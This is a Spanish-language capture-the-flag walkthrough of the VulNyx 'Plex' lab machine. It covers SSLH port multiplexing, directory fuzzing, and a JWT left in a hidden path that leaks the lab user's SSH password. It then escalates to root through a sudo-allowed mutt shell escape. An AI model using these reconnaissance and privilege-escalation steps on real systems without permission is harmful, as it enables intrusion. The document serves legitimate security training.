VulNyx | Plex (Walkthrough)

d4t4s3c
4 min readMar 1, 2024

Plex es una máquina Linux de dificultad fácil de la plataforma VulNyx, creada por d4t4s3c y funciona correctamente en VirtualBox.

Skills:

  • SSLH
  • Privilege Escalation (mutt)

Nmap

❯ nmap -n -Pn -sS -p- --min-rate="5000" 192.168.1.43

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-01 07:54 CET
Nmap scan report for 192.168.1.43
Host is up (0.00014s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
21/tcp open ftp
❯ nmap -n -Pn -sVC -p21 192.168.1.43

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-01 07:55 CET
Nmap scan report for 192.168.1.43
Host is up (0.00032s latency).
PORT STATE SERVICE VERSION
21/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)
| ssh-hostkey:
| 2048 56:9b:dd:56:a5:c1:e3:52:a8:42:46:18:5e:0c:12:86 (RSA)
| 256 1b:d2:cc:59:21:50:1b:39:19:77:1d:28:c0:be:c6:82 (ECDSA)
|_ 256 9c:e7:41:b6:ad:03:ed:f5:a1:4c:cc:0a:50:79:1c:20 (ED25519)
|_ftp-bounce: ERROR: Script execution failed (use -d to debug)

21 ssh OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)

Port: 21

en el nmap inicial vemos el puerto 21 (FTP) abierto, pero realmente corre un servicio SSH (OpenSSH) y al intentar conectarme lo confirmo

❯ ssh -p21 vulnyx@192.168.1.43
vulnyx@192.168.1.43's password:

llegados a este punto, poco se puede hacer ya que no disponemos de credenciales totales o parciales para realizar fuerza bruta a SSH

llama la atención que solo exista un puerto abierto, así que podemos pensar que se esta empleando SSLH para alojar múltiples servicios en un solo puerto mediante un multiplexor

envió una solicitud HTTP por HEAD y GET confirmando que se esta empleando SSLH ya que llego a un servidor Apache2 por el mismo puerto

❯ curl -I "192.168.1.43:21"
HTTP/1.1 200 OK
Date: Fri, 01 Mar 2024 07:45:36 GMT
Server: Apache/2.4.38 (Debian)
Last-Modified: Wed, 28 Feb 2024 17:50:38 GMT
ETag: "31-61274c7cf8519"
Accept-Ranges: bytes
Content-Length: 49
Content-Type: text/html


❯ curl -sX GET "192.168.1.43:21"

Hello Bro!
You only need a port to be happy...

realizo fuzzing en busca de posibles rutas/archivos

❯ gobuster dir -w /opt/common.txt -u 'http://192.168.1.43:21' -x 'html,txt,php'

/robots.txt (Status: 200) [Size: 58]

robots.txt

en /robots.txt encuentro una posible ruta

❯ curl -sX GET "192.168.1.43:21/robots.txt"

User-agent: *
Disallow: /9a618248b64db62d15b300a07b00580b

/9a618248b64db62d15b300a07b00580b

en la ruta /9a618248b64db62d15b300a07b00580b encuentro una cadena que parece ser un JSON Web Token

❯ curl -sX GET "192.168.1.43:21/9a618248b64db62d15b300a07b00580b/"

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiIiLCJpYXQiOm51bGwsImV4cCI6bnVsbCwiYXVkIjoiIiwic3ViIjoiIiwiaWQiOiIxIiwidXNlcm5hbWUiOiJtYXVybyIsInBhc3N3b3JkIjoibUB1UjAxMjMhIn0.zMeVhhqARJ6YzuMtwahGQnegFDhF7r0BCPf3H9ljDIk

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiIiLCJpYXQiOm51bGwsImV4cCI6bnVsbCwiYXVkIjoiIiwic3ViIjoiIiwiaWQiOiIxIiwidXNlcm5hbWUiOiJtYXVybyIsInBhc3N3b3JkIjoibUB1UjAxMjMhIn0.zMeVhhqARJ6YzuMtwahGQnegFDhF7r0BCPf3H9ljDIk

hago un decoded a la cadena y encuentro credenciales del usuario mauro

mauro:m@uR0123!

accedo como usuario mauro por SSH con las credenciales obtenidas

❯ ssh -p21 mauro@192.168.1.43
mauro@192.168.1.43 password:

mauro@plex:~$ id;hostname
uid=1000(mauro) gid=1000(mauro) grupos=1000(mauro)
plex

Privilege Escalation

mauro puede ejecutar como root el binario mutt con sudo

mauro@plex:~$ sudo -l
Matching Defaults entries for mauro on plex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User mauro may run the following commands on plex:
(root) NOPASSWD: /usr/bin/mutt

ejecuto mutt con sudo

mauro@plex:~$ sudo -u root /usr/bin/mutt

me aparece un editor

presiono ? para acceder al panel de ayuda

presiono ! y me permite ejecutar comandos

presiono Enter y me convierto en usuario root

root@plex:~# id
uid=0(root) gid=0(root) grupos=0(root

ya como usuario root puedo leer las flags user.txt y root.txt

root@plex:~# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
05135a01************************
943f08fb************************

hasta aquí la máquina Plex.

Happy Hacking!

--

--